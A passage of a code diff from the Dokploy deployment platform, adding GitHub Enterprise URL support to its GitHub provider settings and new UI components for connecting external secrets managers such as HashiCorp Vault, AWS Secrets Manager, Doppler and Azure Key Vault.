-				redirect_url: `${origin}/api/providers/github/setup?organizationId=${activeOrganization?.id ?? ""}&userId=${session?.user?.id ?? ""}`,
+				redirect_url: `${origin}/api/providers/github/setup?organizationId=${activeOrganization?.id ?? ""}&userId=${session?.user?.id ?? ""}&githubUrl=${encodeURIComponent(baseUrl)}`,
 				name: `Dokploy-${format(new Date(), "yyyy-MM-dd")}-${randomString()}`,
 				url: origin,
 				hook_attributes: {
@@ -52,7 +56,7 @@ export const AddGithubProvider = () => {
 		);
 
 		setManifest(manifest);
-	}, [activeOrganization?.id, session?.user?.id]);
+	}, [activeOrganization?.id, session?.user?.id, baseUrl]);
 
 	return (
 		<Dialog open={isOpen} onOpenChange={setIsOpen}>
@@ -79,6 +83,25 @@ export const AddGithubProvider = () => {
 								below to get started.
 							</p>
 							<div className="mt-4 flex flex-col gap-4">
+								<div className="flex flex-col gap-2">
+									<span className="text-sm">GitHub URL</span>
+									<Input
+										placeholder={DEFAULT_GITHUB_URL}
+										value={githubUrl}
+										onChange={(e) => setGithubUrl(e.target.value)}
+									/>
+									<span className="text-muted-foreground text-xs">
+										Leave as is for github.com. For GitHub Enterprise, use your
+										instance URL (e.g. https://acme.ghe.com or
+										https://github.acme.com).
+									</span>
+									{githubUrlError && (
+										<span className="text-destructive text-xs">
+											{githubUrlError}
+										</span>
+									)}
+								</div>
+
 								<div className="flex flex-row gap-4">
 									<span>Organization?</span>
 									<Switch
@@ -98,8 +121,8 @@ export const AddGithubProvider = () => {
 							<form
 								action={
 									isOrganization
-										? `https://github.com/organizations/${organizationName}/settings/apps/new?state=gh_init:${activeOrganization?.id}:${session?.user?.id ?? ""}`
-										: `https://github.com/settings/apps/new?state=gh_init:${activeOrganization?.id}:${session?.user?.id ?? ""}`
+										? `${baseUrl}/organizations/${organizationName}/settings/apps/new?state=gh_init:${activeOrganization?.id}:${session?.user?.id ?? ""}`
+										: `${baseUrl}/settings/apps/new?state=gh_init:${activeOrganization?.id}:${session?.user?.id ?? ""}`
 								}
 								method="post"
 							>
@@ -116,22 +139,25 @@ export const AddGithubProvider = () => {
 									<a
 										href={
 											isOrganization && organizationName
-												? `https://github.com/organizations/${organizationName}/settings/installations`
-												: "https://github.com/settings/installations"
+												? `${baseUrl}/organizations/${organizationName}/settings/installations`
+												: `${baseUrl}/settings/installations`
 										}
 										className={`text-muted-foreground text-sm hover:underline duration-300
 											 ${
 													isOrganization && !organizationName
 														? "pointer-events-none opacity-50"
 														: ""
-												}`}
+}`}
 										target="_blank"
 										rel="noopener noreferrer"
 									>
 										Unsure if you already have an app?
 									</a>
 									<Button
-										disabled={isOrganization && organizationName.length < 1}
+										disabled={
+											!!githubUrlError ||
+											(isOrganization && organizationName.length < 1)
+										}
 										type="submit"
 										className="self-end"
 									>

apps/dokploy/components/dashboard/settings/git/github/edit-github-provider.tsx

@@ -147,6 +147,15 @@ export const EditGithubProvider = ({ githubId }: Props) => {
 									)}
 								/>
 
+								<div className="flex flex-col gap-2">
+									<span className="text-sm font-medium">GitHub URL</span>
+									<Input value={github?.githubUrl ?? ""} readOnly />
+									<span className="text-muted-foreground text-xs">
+										Set when the app was created and not editable, the app
+										credentials belong to this instance.
+									</span>
+								</div>
+
 								<div className="flex w-full justify-between gap-4 mt-4">
 									<Button
 										type="button"

apps/dokploy/components/dashboard/settings/git/show-git-providers.tsx

@@ -33,6 +33,7 @@ import {
 	TooltipTrigger,
 } from "@/components/ui/tooltip";
 import { api } from "@/utils/api";
+import { DEFAULT_GITHUB_URL } from "@/utils/github-utils";
 import { useUrl } from "@/utils/hooks/use-url";
 import { AddBitbucketProvider } from "./bitbucket/add-bitbucket-provider";
 import { EditBitbucketProvider } from "./bitbucket/edit-bitbucket-provider";
@@ -161,6 +162,14 @@ export const ShowGitProviders = () => {
 																		<span className="text-sm font-medium">
 																			{gitProvider.name}
 																		</span>
+																		{isGithub &&
+																			gitProvider.github?.githubUrl &&
+																			gitProvider.github.githubUrl !==
+																				DEFAULT_GITHUB_URL && (
+																				<span className="text-xs text-muted-foreground">
+																					{gitProvider.github.githubUrl}
+																				</span>
+																			)}
 																		<span className="text-xs text-muted-foreground">
 																			{formatDate(
 																				gitProvider.createdAt,

apps/dokploy/components/dashboard/settings/vault/handle-vault-provider.tsx

@@ -0,0 +1,945 @@
+import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
+import { PenBoxIcon, PlusIcon } from "lucide-react";
+import { useEffect, useState } from "react";
+import { useForm } from "react-hook-form";
+import { toast } from "sonner";
+import { z } from "zod";
+import { vaultProviderIcons } from "@/components/icons/vault-provider-icons";
+import { AlertBlock } from "@/components/shared/alert-block";
+import { Button } from "@/components/ui/button";
+import { Checkbox } from "@/components/ui/checkbox";
+import {
+	Dialog,
+	DialogContent,
+	DialogDescription,
+	DialogFooter,
+	DialogHeader,
+	DialogTitle,
+	DialogTrigger,
+} from "@/components/ui/dialog";
+import {
+	Form,
+	FormControl,
+	FormDescription,
+	FormField,
+	FormItem,
+	FormLabel,
+	FormMessage,
+} from "@/components/ui/form";
+import { Input } from "@/components/ui/input";
+import {
+	Select,
+	SelectContent,
+	SelectItem,
+	SelectTrigger,
+	SelectValue,
+} from "@/components/ui/select";
+import { api } from "@/utils/api";
+
+const providerLabels = {
+	hashicorp: "HashiCorp Vault / OpenBao",
+	infisical: "Infisical",
+	aws: "AWS Secrets Manager",
+	doppler: "Doppler",
+	azure: "Azure Key Vault",
+} as const;
+
+type ProviderType = keyof typeof providerLabels;
+
+const VaultProviderSchema = z
+	.object({
+		name: z
+			.string()
+			.min(1, { message: "Name is required" })
+			.regex(/^[a-zA-Z0-9_-]+$/, {
+				message:
+					"Only letters, numbers, dashes and underscores (used in ${{vault.<name>.<secret>}})",
+			}),
+		providerType: z.enum(["hashicorp", "infisical", "aws", "doppler", "azure"]),
+		url: z.string(),
+		token: z.string(),
+		namespace: z.string(),
+		mount: z.string(),
+		siteUrl: z.string(),
+		clientId: z.string(),
+		clientSecret: z.string(),
+		projectId: z.string(),
+		environmentSlug: z.string(),
+		secretPath: z.string(),
+		region: z.string(),
+		accessKeyId: z.string(),
+		secretAccessKey: z.string(),
+		serviceToken: z.string(),
+		awsEndpoint: z.string(),
+		vaultUri: z.string(),
+		tenantId: z.string(),
+		azureClientId: z.string(),
+		azureClientSecret: z.string(),
+		dopplerProject: z.string(),
+		dopplerConfig: z.string(),
+		assignments: z.array(
+			z.object({
+				projectId: z.string(),
+				environmentIds: z.array(z.string()),
+			}),
+		),
+	})
+	.superRefine((data, ctx) => {
+		const isValidUrl = (value: string) => {
+			try {
+				new URL(value);
+				return true;
+			} catch {
+				return false;
+			}
+		};
+
+		if (
+			data.providerType === "hashicorp" &&
+			data.url &&
+			!isValidUrl(data.url)
+		) {
+			ctx.addIssue({
+				code: z.ZodIssueCode.custom,
+				message: "Enter a valid URL (e.g. https://vault.example.com:8200)",
+				path: ["url"],
+			});
+		}
+		if (
+			data.providerType === "azure" &&
+			data.vaultUri &&
+			!isValidUrl(data.vaultUri)
+		) {
+			ctx.addIssue({
+				code: z.ZodIssueCode.custom,
+				message: "Enter a valid URL (e.g. https://my-vault.vault.azure.net)",
+				path: ["vaultUri"],
+			});
+		}
+		if (
+			data.providerType === "aws" &&
+			data.awsEndpoint &&
+			!isValidUrl(data.awsEndpoint)
+		) {
+			ctx.addIssue({
+				code: z.ZodIssueCode.custom,
+				message: "Enter a valid URL",
+				path: ["awsEndpoint"],
+			});
+		}
+		if (
+			data.providerType === "infisical" &&
+			data.siteUrl &&
+			!isValidUrl(data.siteUrl)
+		) {
+			ctx.addIssue({
+				code: z.ZodIssueCode.custom,
+				message: "Enter a valid URL (e.g. https://app.infisical.com)",
+				path: ["siteUrl"],
+			});
+		}
+
+		const required: Partial<
+			Record<ProviderType, [keyof typeof data, string][]>
+		> = {
+			hashicorp: [
+				["url", "Vault URL is required"],
+				["token", "Token is required"],
+				["mount", "Mount is required"],
+			],
+			infisical: [
+				["siteUrl", "Site URL is required"],
+				["clientId", "Client ID is required"],
+				["clientSecret", "Client Secret is required"],
+				["projectId", "Project ID is required"],
+				["environmentSlug", "Environment is required"],
+			],
+			aws: [
+				["region", "Region is required"],
+				["accessKeyId", "Access Key ID is required"],
+				["secretAccessKey", "Secret Access Key is required"],
+			],
+			doppler: [["serviceToken", "Service Token is required"]],
+			azure: [
+				["vaultUri", "Vault URI is required"],
+				["tenantId", "Tenant ID is required"],
+				["azureClientId", "Client ID is required"],
+				["azureClientSecret", "Client Secret is required"],
+			],
+		};
+
+		for (const [field, message] of required[data.providerType] ?? []) {
+			if (!data[field]) {
+				ctx.addIssue({
+					code: z.ZodIssueCode.custom,
+					message,
+					path: [field],
+				});
+			}
+		}
+
+		if (
+			data.providerType === "doppler" &&
+			data.serviceToken &&
+			!data.serviceToken.startsWith("dp.st.") &&
+			data.serviceToken !== "********"
+		) {
+			for (const field of ["dopplerProject", "dopplerConfig"] as const) {
+				if (!data[field]) {
+					ctx.addIssue({
+						code: z.ZodIssueCode.custom,
+						message: "Required for personal/CLI tokens (dp.pt. / dp.ct.)",
+						path: [field],
+					});
+				}
+			}
+		}
+	});
+
+type VaultProviderForm = z.infer<typeof VaultProviderSchema>;
+
+const defaultValues: VaultProviderForm = {
+	name: "",
+	providerType: "hashicorp",
+	url: "",
+	token: "",
+	namespace: "",
+	mount: "secret",
+	siteUrl: "https://app.infisical.com",
+	clientId: "",
+	clientSecret: "",
+	projectId: "",
+	environmentSlug: "",
+	secretPath: "/",
+	region: "",
+	accessKeyId: "",
+	secretAccessKey: "",
+	serviceToken: "",
+	awsEndpoint: "",
+	vaultUri: "",
+	tenantId: "",
+	azureClientId: "",
+	azureClientSecret: "",
+	dopplerProject: "",
+	dopplerConfig: "",
+	assignments: [],
+};
+
+const buildConfig = (data: VaultProviderForm) => {
+	switch (data.providerType) {
+		case "hashicorp":
+			return {
+				providerType: "hashicorp" as const,
+				url: data.url,
+				token: data.token,
+				namespace: data.namespace || undefined,
+				mount: data.mount || "secret",
+			};
+		case "infisical":
+			return {
+				providerType: "infisical" as const,
+				siteUrl: data.siteUrl || "https://app.infisical.com",
+				clientId: data.clientId,
+				clientSecret: data.clientSecret,
+				projectId: data.projectId,
+				environmentSlug: data.environmentSlug,
+				secretPath: data.secretPath || "/",
+			};
+		case "aws":
+			return {
+				providerType: "aws" as const,
+				region: data.region,
+				accessKeyId: data.accessKeyId,
+				secretAccessKey: data.secretAccessKey,
+				endpoint: data.awsEndpoint || undefined,
+			};
+		case "doppler":
+			return {
+				providerType: "doppler" as const,
+				serviceToken: data.serviceToken,
+				project: data.dopplerProject || undefined,
+				config: data.dopplerConfig || undefined,
+			};
+		case "azure":
+			return {
+				providerType: "azure" as const,
+				vaultUri: data.vaultUri,
+				tenantId: data.tenantId,
+				clientId: data.azureClientId,
+				clientSecret: data.azureClientSecret,
+			};
+	}
+};
+
+const extractErrorMessage = (err: unknown) => {
+	if (!(err instanceof Error)) return undefined;
+	try {
+		const issues = JSON.parse(err.message) as { message?: string }[];
+		if (Array.isArray(issues)) {
+			return issues
+				.map((issue) => issue.message)
+				.filter(Boolean)
+				.join(", ");
+		}
+	} catch {}
+	return err.message;
+};
+
+interface Props {
+	vaultProviderId?: string;
+}
+
+export const HandleVaultProvider = ({ vaultProviderId }: Props) => {
+	const utils = api.useUtils();
+	const [isOpen, setIsOpen] = useState(false);
+
+	const { data: provider } = api.vaultProvider.one.useQuery(
+		{ vaultProviderId: vaultProviderId || "" },
+		{ enabled: !!vaultProviderId && isOpen },
+	);
+
+	const { mutateAsync, isPending, error, isError } = vaultProviderId
+		? api.vaultProvider.update.useMutation()
+		: api.vaultProvider.create.useMutation();
+
+	const { mutateAsync: testConnection, isPending: isTesting } =
+		api.vaultProvider.testConnection.useMutation();
+
+	const form = useForm<VaultProviderForm>({
+		defaultValues,
+		resolver: zodResolver(VaultProviderSchema),
+	});
+
+	const providerType = form.watch("providerType");
+	const assignments = form.watch("assignments");
+	const { data: orgProjects } = api.project.all.useQuery();
+
+	const setAssignments = (
+		next: { projectId: string; environmentIds: string[] }[],
+	) => form.setValue("assignments", next, { shouldValidate: true });
+
+	const toggleProject = (targetProjectId: string) => {
+		const exists = assignments.some((a) => a.projectId === targetProjectId);
+		setAssignments(
+			exists
+				? assignments.filter((a) => a.projectId !== targetProjectId)
+				: [...assignments, { projectId: targetProjectId, environmentIds: [] }],
+		);
+	};
+
+	const toggleEnvironment = (
+		targetProjectId: string,
+		environmentId: string,
+	) => {
+		setAssignments(
+			assignments.map((a) => {
+				if (a.projectId !== targetProjectId) return a;
+				const has = a.environmentIds.includes(environmentId);
+				return {
+					...a,
+					environmentIds: has
+						? a.environmentIds.filter((e) => e !== environmentId)
+						: [...a.environmentIds, environmentId],
+				};
+			}),
+		);
+	};
+
+	useEffect(() => {
+		if (provider) {
+			form.reset({
+				...defaultValues,
+				name: provider.name,
+				providerType: provider.config.providerType,
+				assignments: provider.assignments ?? [],
+				...(provider.config.providerType === "hashicorp" && {
+					url: provider.config.url,
+					token: provider.config.token,
+					namespace: provider.config.namespace ?? "",
+					mount: provider.config.mount,
+				}),
+				...(provider.config.providerType === "infisical" && {
+					siteUrl: provider.config.siteUrl,
+					clientId: provider.config.clientId,
+					clientSecret: provider.config.clientSecret,
+					projectId: provider.config.projectId,
+					environmentSlug: provider.config.environmentSlug,
+					secretPath: provider.config.secretPath,
+				}),
+				...(provider.config.providerType === "aws" && {
+					region: provider.config.region,
+					accessKeyId: provider.config.accessKeyId,
+					secretAccessKey: provider.config.secretAccessKey,
+					awsEndpoint: provider.config.endpoint ?? "",
+				}),
+				...(provider.config.providerType === "doppler" && {
+					serviceToken: provider.config.serviceToken,
+					dopplerProject: provider.config.project ?? "",
+					dopplerConfig: provider.config.config ?? "",
+				}),
+				...(provider.config.providerType === "azure" && {
+					vaultUri: provider.config.vaultUri,
+					tenantId: provider.config.tenantId,
+					azureClientId: provider.config.clientId,
+					azureClientSecret: provider.config.clientSecret,
+				}),
+			});
+		} else if (!vaultProviderId) {
+			form.reset(defaultValues);
+		}
+	}, [provider, vaultProviderId, form, isOpen]);
+
+	const onSubmit = async (data: VaultProviderForm) => {
+		const payload: any = {
+			name: data.name,
+			config: buildConfig(data),
+			assignments: data.assignments,
+			...(vaultProviderId && { vaultProviderId }),
+		};
+		await mutateAsync(payload)
+			.then(() => {
+				toast.success(
+					vaultProviderId ? "Vault provider updated" : "Vault provider created",
+				);
+				utils.vaultProvider.all.invalidate();
+				setIsOpen(false);
+			})
+			.catch(() => {});
+	};
+
+	const onTestConnection = async () => {
+		const isValid = await form.trigger();
+		if (!isValid) {
+			return;
+		}
+		const data = form.getValues();
+		await testConnection({
+			config: buildConfig(data),
+			...(vaultProviderId && { vaultProviderId }),
+		})
+			.then(() => {
+				toast.success("Connection successful");
+			})
+			.catch((err) => {
+				toast.error("Connection failed", {
+					description: extractErrorMessage(err),
+				});
+			});
+	};
+
+	return (
+		<Dialog open={isOpen} onOpenChange={setIsOpen}>
+			<DialogTrigger asChild>
+				{vaultProviderId ? (
+					<Button
+						variant="ghost"
+						size="icon"
+						className="group hover:bg-blue-500/10"
+					>
+						<PenBoxIcon className="size-4 text-primary group-hover:text-blue-500" />
+					</Button>
+				) : (
+					<Button className="cursor-pointer space-x-3">
+						<PlusIcon className="h-4 w-4" />
+						Add Provider
+					</Button>
+				)}
+			</DialogTrigger>
+			<DialogContent className="max-h-screen overflow-y-auto sm:max-w-lg">
+				<DialogHeader>
+					<DialogTitle>
+						{vaultProviderId ? "Update Vault Provider" : "Add Vault Provider"}
+					</DialogTitle>
+					<DialogDescription>
+						Reference secrets in your environment variables with{" "}
+						<code>{"${{vault.<name>.<secret>}}"}</code>. Secrets are fetched at
+						deploy time and never stored in Dokploy.
+					</DialogDescription>
+				</DialogHeader>
+				{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
+				<Form {...form}>
+					<form
+						onSubmit={form.handleSubmit(onSubmit)}
+						className="grid w-full gap-4"
+					>
+						<FormField
+							control={form.control}
+							name="name"
+							render={({ field }) => (
+								<FormItem>
+									<FormLabel>Name</FormLabel>
+									<FormControl>
+										<Input placeholder="prod-vault" {...field} />
+									</FormControl>
+									<FormMessage />
+								</FormItem>
+							)}
+						/>
+						<FormField
+							control={form.control}
+							name="providerType"
+							render={({ field }) => (
+								<FormItem>
+									<FormLabel>Provider</FormLabel>
+									<Select
+										onValueChange={field.onChange}
+										value={field.value}
+										disabled={!!vaultProviderId}
+									>
+										<FormControl>
+											<SelectTrigger>
+												<SelectValue placeholder="Select a provider" />
+											</SelectTrigger>
+										</FormControl>
+										<SelectContent>
+											{Object.entries(providerLabels).map(([value, label]) => {
+												const ProviderIcon =
+													vaultProviderIcons[value as ProviderType];
+												return (
+													<SelectItem key={value} value={value}>
+														<div className="flex flex-row items-center gap-2">
+															<ProviderIcon className="size-4 shrink-0" />
+															{label}
+														</div>
+													</SelectItem>
+												);
+											})}
+										</SelectContent>
+									</Select>
+									<FormMessage />
+								</FormItem>
+							)}
+						/>
+
+						{providerType === "hashicorp" && (
+							<>
+								<FormField
+									control={form.control}
+									name="url"
+									render={({ field }) => (
+										<FormItem>
+											<FormLabel>Vault URL</FormLabel>
+											<FormControl>
+												<Input
+													placeholder="https://vault.example.com:8200"
+													{...field}
+												/>
+											</FormControl>
+											<FormMessage />
+										</FormItem>
+									)}
+								/>
+								<FormField
+									control={form.control}
+									name="token"
+									render={({ field }) => (
+										<FormItem>
+											<FormLabel>Token</FormLabel>
+											<FormControl>
+												<Input type="password" {...field} />
+											</FormControl>
+											<FormMessage />
+										</FormItem>
+									)}
+								/>
+								<div className="grid grid-cols-2 gap-4">
+									<FormField
+										control={form.control}
+										name="mount"
+										render={({ field }) => (
+											<FormItem>
+												<FormLabel>KV Mount</FormLabel>
+												<FormControl>
+													<Input placeholder="secret" {...field} />
+												</FormControl>
+												<FormMessage />
+											</FormItem>
+										)}
+									/>
+									<FormField
+										control={form.control}
+										name="namespace"
+										render={({ field }) => (
+											<FormItem>
+												<FormLabel>Namespace (optional)</FormLabel>
+												<FormControl>
+													<Input placeholder="admin" {...field} />
+												</FormControl>
+												<FormMessage />
+											</FormItem>
+										)}
+									/>
+								</div>
+								<FormDescription>
+									Reference format:{" "}
+									<code>{"${{vault.<name>.path/to/secret:FIELD}}"}</code>
+								</FormDescription>
+							</>
+						)}
+
+						{providerType === "infisical" && (
+							<>
+								<FormField
+									control={form.control}
+									name="siteUrl"
+									render={({ field }) => (
+										<FormItem>
+											<FormLabel>Site URL</FormLabel>
+											<FormControl>
+												<Input
+													placeholder="https://app.infisical.com"
+													{...field}
+												/>
+											</FormControl>
+											<FormMessage />
+										</FormItem>
+									)}
+								/>
+								<div className="grid grid-cols-2 gap-4">
+									<FormField
+										control={form.control}
+										name="clientId"
+										render={({ field }) => (
+											<FormItem>
+												<FormLabel>Client ID</FormLabel>
+												<FormControl>
+													<Input {...field} />
+												</FormControl>
+												<FormMessage />
+											</FormItem>
+										)}
+									/>
+									<FormField
+										control={form.control}
+										name="clientSecret"
+										render={({ field }) => (
+											<FormItem>
+												<FormLabel>Client Secret</FormLabel>
+												<FormControl>
+													<Input type="password" {...field} />
+												</FormControl>
+												<FormMessage />
+											</FormItem>
+										)}
+									/>
+								</div>
+								<div className="grid grid-cols-2 gap-4">
+									<FormField
+										control={form.control}
+										name="projectId"
+										render={({ field }) => (
+											<FormItem>
+												<FormLabel>Project ID</FormLabel>
+												<FormControl>
+													<Input {...field} />
+												</FormControl>
+												<FormMessage />
+											</FormItem>
+										)}
+									/>
+									<FormField
+										control={form.control}
+										name="environmentSlug"
+										render={({ field }) => (
+											<FormItem>
+												<FormLabel>Environment</FormLabel>
+												<FormControl>
+													<Input placeholder="prod" {...field} />
+												</FormControl>
+												<FormMessage />
+											</FormItem>
+										)}
+									/>
+								</div>
+								<FormField
+									control={form.control}
+									name="secretPath"
+									render={({ field }) => (
+										<FormItem>
+											<FormLabel>Secret Path</FormLabel>
+											<FormControl>
+												<Input placeholder="/" {...field} />
+											</FormControl>
+											<FormMessage />
+										</FormItem>
+									)}
+								/>
+							</>
+						)}
+
+						{providerType === "aws" && (
+							<>
+								<FormField
+									control={form.control}
+									name="region"
+									render={({ field }) => (
+										<FormItem>
+											<FormLabel>Region</FormLabel>
+											<FormControl>
+												<Input placeholder="us-east-1" {...field} />
+											</FormControl>
+											<FormMessage />
+										</FormItem>
+									)}
+								/>
+								<FormField
+									control={form.control}
+									name="accessKeyId"
+									render={({ field }) => (
+										<FormItem>
+											<FormLabel>Access Key ID</FormLabel>
+											<FormControl>
+												<Input {...field} />
+											</FormControl>
+											<FormMessage />
+										</FormItem>
+									)}
+								/>
+								<FormField
+									control={form.control}
+									name="secretAccessKey"
+									render={({ field }) => (
+										<FormItem>
+											<FormLabel>Secret Access Key</FormLabel>
+											<FormControl>
+												<Input type="password" {...field} />
+											</FormControl>
+											<FormMessage />
+										</FormItem>
+									)}
+								/>
+								<FormField
+									control={form.control}
+									name="awsEndpoint"
+									render={({ field }) => (
+										<FormItem>
+											<FormLabel>Endpoint (optional)</FormLabel>
+											<FormControl>
+												<Input placeholder="http://localhost:4566" {...field} />
+											</FormControl>
+											<FormDescription>
+												Custom endpoint for VPC endpoints or API-compatible
+												emulators
+											</FormDescription>
+											<FormMessage />
+										</FormItem>
+									)}
+								/>
+								<FormDescription>
+									Reference format:{" "}
+									<code>{"${{vault.<name>.secret-name}}"}</code> or{" "}
+									<code>{"${{vault.<name>.secret-name:field}}"}</code> for JSON
+									secrets
+								</FormDescription>
+							</>
+						)}
+
+						{providerType === "azure" && (
+							<>
+								<FormField
+									control={form.control}
+									name="vaultUri"
+									render={({ field }) => (
+										<FormItem>
+											<FormLabel>Vault URI</FormLabel>
+											<FormControl>
+												<Input
+													placeholder="https://my-vault.vault.azure.net"
+													{...field}
+												/>
+											</FormControl>
+											<FormMessage />
+										</FormItem>
+									)}
+								/>
+								<FormField
+									control={form.control}
+									name="tenantId"
+									render={({ field }) => (
+										<FormItem>
+											<FormLabel>Tenant ID</FormLabel>
+											<FormControl>
+												<Input {...field} />
+											</FormControl>
+											<FormMessage />
+										</FormItem>
+									)}
+								/>
+								<div className="grid grid-cols-2 gap-4">
+									<FormField
+										control={form.control}
+										name="azureClientId"
+										render={({ field }) => (
+											<FormItem>
+												<FormLabel>Client ID</FormLabel>
+												<FormControl>
+													<Input {...field} />
+												</FormControl>
+												<FormMessage />
+											</FormItem>
+										)}
+									/>
+									<FormField
+										control={form.control}
+										name="azureClientSecret"
+										render={({ field }) => (
+											<FormItem>
+												<FormLabel>Client Secret</FormLabel>
+												<FormControl>
+													<Input type="password" {...field} />
+												</FormControl>
+												<FormMessage />
+											</FormItem>
+										)}
+									/>
+								</div>
+								<FormDescription>
+									App Registration with the "Key Vault Secrets User" role on the
+									vault. Reference format:{" "}
+									<code>{"${{vault.<name>.secret-name}}"}</code>
+								</FormDescription>
+							</>
+						)}
+
+						{providerType === "doppler" && (
+							<>
+								<FormField
+									control={form.control}
+									name="serviceToken"
+									render={({ field }) => (
+										<FormItem>
+											<FormLabel>Token</FormLabel>
+											<FormControl>
+												<Input
+													type="password"
+													placeholder="dp.st..."
+													{...field}
+												/>
+											</FormControl>
+											<FormDescription>
+												Service tokens (dp.st.) are recommended: read-only and
+												scoped to a single project + config
+											</FormDescription>
+											<FormMessage />
+										</FormItem>
+									)}
+								/>
+								<div className="grid grid-cols-2 gap-4">
+									<FormField
+										control={form.control}
+										name="dopplerProject"
+										render={({ field }) => (
+											<FormItem>
+												<FormLabel>Project (optional)</FormLabel>
+												<FormControl>
+													<Input placeholder="my-project" {...field} />
+												</FormControl>
+												<FormMessage />
+											</FormItem>
+										)}
+									/>
+									<FormField
+										control={form.control}
+										name="dopplerConfig"
+										render={({ field }) => (
+											<FormItem>
+												<FormLabel>Config (optional)</FormLabel>
+												<FormControl>
+													<Input placeholder="prd" {...field} />
+												</FormControl>
+												<FormMessage />
+											</FormItem>
+										)}
+									/>
+								</div>
+								<FormDescription>
+									Only needed for personal (dp.pt.) or CLI (dp.ct.) tokens —
+									service tokens already carry them
+								</FormDescription>
+							</>
+						)}
+
+						<div className="flex flex-col gap-2 rounded-lg border p-3">
+							<FormLabel>Access</FormLabel>
+							<FormDescription>
+								This provider can only be referenced from the selected projects.
+								Pick environments to narrow it further — none selected means all
+								environments of that project.
+							</FormDescription>
+							<div className="flex flex-col gap-2">
+								{orgProjects?.map((project) => {
+									const assignment = assignments.find(
+										(a) => a.projectId === project.projectId,
+									);
+									return (
+										<div
+											key={project.projectId}
+											className="flex flex-col gap-1.5"
+										>
+											<label className="flex flex-row items-center gap-2 text-sm cursor-pointer">
+												<Checkbox
+													checked={!!assignment}
+													onCheckedChange={() =>
+														toggleProject(project.projectId)
+													}
+												/>
+												{project.name}
+											</label>
+											{assignment && (
+												<div className="flex flex-row flex-wrap gap-3 pl-6">
+													{project.environments?.map((environment) => (
+														<label
+															key={environment.environmentId}
+															className="flex flex-row items-center gap-1.5 text-xs text-muted-foreground cursor-pointer"
+														>
+															<Checkbox
+																checked={assignment.environmentIds.includes(
+																	environment.environmentId,
+																)}
+																onCheckedChange={() =>
+																	toggleEnvironment(
+																		project.projectId,
+																		environment.environmentId,
+																	)
+																}
+															/>
+															{environment.name}
+														</label>
+													))}
+													{assignment.environmentIds.length === 0 && (
+														<span className="text-xs text-muted-foreground italic self-center">
+															All environments
+														</span>
+													)}
+												</div>
+											)}
+										</div>
+									);
+								})}
+							</div>
+							{form.formState.errors.assignments && (
+								<p className="text-sm font-medium text-destructive">
+									{form.formState.errors.assignments.message}
+								</p>
+							)}
+						</div>
+
+						<DialogFooter className="flex w-full flex-row justify-between gap-2 sm:justify-between">
+							<Button
+								type="button"
+								variant="secondary"
+								isLoading={isTesting}
+								onClick={onTestConnection}
+							>
+								Test Connection
+							</Button>
+							<Button type="submit" isLoading={isPending}>
+								{vaultProviderId ? "Update" : "Create"}
+							</Button>
+						</DialogFooter>
+					</form>
+				</Form>
+			</DialogContent>
+		</Dialog>
+	);
+};

apps/dokploy/components/dashboard/settings/vault/show-vault-providers.tsx

@@ -0,0 +1,166 @@
+import { Loader2, Trash2, Vault } from "lucide-react";
+import { toast } from "sonner";
+import { vaultProviderIcons } from "@/components/icons/vault-provider-icons";
+import { DialogAction } from "@/components/shared/dialog-action";
+import { Badge } from "@/components/ui/badge";
+import { Button } from "@/components/ui/button";
+import {
+	Card,
+	CardContent,
+	CardDescription,
+	CardHeader,
+	CardTitle,
+} from "@/components/ui/card";
+import { api } from "@/utils/api";
+import { HandleVaultProvider } from "./handle-vault-provider";
+
+const providerLabels: Record<string, string> = {
+	hashicorp: "HashiCorp Vault",
+	infisical: "Infisical",
+	aws: "AWS Secrets Manager",
+	doppler: "Doppler",
+	azure: "Azure Key Vault",
+};
+
+export const ShowVaultProviders = () => {
+	const { mutateAsync, isPending: isRemoving } =
+		api.vaultProvider.remove.useMutation();
+	const { data, isPending, refetch } = api.vaultProvider.all.useQuery();
+	const { data: permissions } = api.user.getPermissions.useQuery();
+
+	return (
+		<div className="w-full">
+			<Card className="h-full bg-sidebar p-2.5 rounded-xl max-w-5xl mx-auto">
+				<div className="rounded-xl bg-background shadow-md">
+					<CardHeader>
+						<CardTitle className="text-xl flex flex-row gap-2">
+							<Vault className="size-6 text-muted-foreground self-center" />
+							Secrets Providers
+						</CardTitle>
+						<CardDescription>
+							Connect external secret managers and reference their secrets in
+							environment variables with{" "}
+							<code>{"${{vault.<name>.<secret>}}"}</code>
+						</CardDescription>
+					</CardHeader>
+					<CardContent className="space-y-2 py-8 border-t">
+						{isPending ? (
+							<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[25vh]">
+								<span>Loading...</span>
+								<Loader2 className="animate-spin size-4" />
+							</div>
+						) : (
+							<>
+								{data?.length === 0 ? (
+									<div className="flex flex-col items-center gap-3 min-h-[25vh] justify-center">
+										<Vault className="size-8 self-center text-muted-foreground" />
+										<span className="text-base text-muted-foreground text-center">
+											You don't have any secrets providers configured
+										</span>
+										{permissions?.vaultProvider.create && (
+											<HandleVaultProvider />
+										)}
+									</div>
+								) : (
+									<div className="flex flex-col gap-4 min-h-[25vh]">
+										<div className="flex flex-col gap-4 rounded-lg">
+											{data?.map((provider) => {
+												const ProviderIcon =
+													vaultProviderIcons[provider.providerType];
+												return (
+													<div
+														key={provider.vaultProviderId}
+														className="flex items-center justify-between bg-sidebar p-1 w-full rounded-lg"
+													>
+														<div className="flex items-center justify-between p-3.5 rounded-lg bg-background border w-full">
+															<div className="flex flex-row items-center gap-3">
+																<ProviderIcon className="size-7 shrink-0" />
+																<div className="flex gap-2 flex-col">
+																	<span className="text-sm font-medium">
+																		{provider.name}
+																	</span>
+																	<div className="flex flex-row gap-2 items-center">
+																		{provider.assignments.length === 0 ? (
+																			<Badge variant="destructive">
+																				Not assigned
+																			</Badge>
+																		) : (
+																			<Badge variant="secondary">
+																				{provider.assignments.length}{" "}
+																				{provider.assignments.length === 1
+																					? "project"
+																					: "projects"}
+																			</Badge>
+																		)}
+																		<Badge variant="outline">
+																			{providerLabels[provider.providerType] ??
+																				provider.providerType}
+																		</Badge>
+																		<span className="text-xs text-muted-foreground">
+																			{"${{vault." + provider.name + ".…}}"}
+																		</span>
+																	</div>
+																</div>
+															</div>
+
+															<div className="flex flex-row gap-1">
+																{permissions?.vaultProvider.update && (
+																	<HandleVaultProvider
+																		vaultProviderId={provider.vaultProviderId}
+																	/>
+																)}
+																{permissions?.vaultProvider.delete && (
+																	<DialogAction
+																		title="Delete Secrets Provider"
+																		description="Deployments referencing this provider will fail. Are you sure?"
+																		type="destructive"
